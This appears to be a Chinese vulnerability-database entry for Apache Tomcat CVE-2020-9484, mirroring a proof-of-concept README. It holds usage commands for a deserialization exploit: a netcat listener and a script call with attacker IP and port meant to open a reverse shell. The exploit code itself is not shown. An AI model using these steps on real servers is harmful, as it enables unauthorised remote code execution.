关联漏洞
标题：
Apache Tomcat 代码问题漏洞
(CVE-2020-9484)
描述：Apache Tomcat是美国阿帕奇（Apache）基金会的一款轻量级Web应用服务器。该程序实现了对Servlet和JavaServer Page（JSP）的支持。 Apache Tomcat中存在代码问题漏洞。攻击者可通过控制服务器上文件的内容和名称等方法利用该漏洞执行代码。以下产品及版本受到影响：Apache Tomcat 10.0.0-M1版本至10.0.0-M4版本，9.0.0.0.M1版本至9.0.43之前版本，8.5.0版本至8.5.63之前版本，7.0.0版本至7.0.108之前版本。
描述
POC for CVE-2020-9484
介绍
# CVE-2020-9484
POC for CVE-2020-9484
<p align="center">
<a href="https://github.com/VICXOR/CVE-2020-9484">
<img src="https://i.imgur.com/xJDK1kL.png" alt="Logo" width="120" height="80">
</a>
<h3 align="center">POC for CVE-2020-9484</h3>
<p align="center">
Apache Tomcat RCE by deserialization (CVE-2020-9484)
<br />
<a href="https://github.com/VICXOR/CVE-2020-9484/blob/master/README.md"><strong>Explore the docs »</strong></a>
<br />
<br />
</p>
</p>
<!-- GETTING STARTED -->
## Getting Started
<p align="center">
1. Clone this repository, then you will be able to use CVE-2020-9484 and modify the source code if needed. <br>
2. Download <a href="https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar">ysoserial jar</a><br>
3. place both CVE-2020-9484 and ysoserial.jar in the same directory<br>
4. pop a shell!
</p>
<!-- USAGE EXAMPLES -->
## Usage
<p align="center">
A simple bash script has been written in order to streamline the usage of CVE-2020-9484.
<br>
Upon Exploitation you will need to have a netcat listener ready
```sh
nc -lvnp $port
```
```sh
./CVE-2020-9484.sh domain attacker-ip attacker-port
```
<br>
</p>
<p align="center"><img src="https://i.imgur.com/hnYe1ku.gif" alt="CVE-2020-9484"></p>
文件快照
[4.0K] /data/pocs/5c322f62bdc6af0a2cac3ce81779d09461a78834
├── [1.0K] CVE-2020-9484.sh
└── [1.3K] README.md
0 directories, 2 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问，请发送邮箱到 f.jinxu#gmail.com 索取本地快照（把 # 换成 @）。
3. 神龙已为您对POC代码进行快照，为了长期维护，请考虑为本地POC付费，感谢您的支持。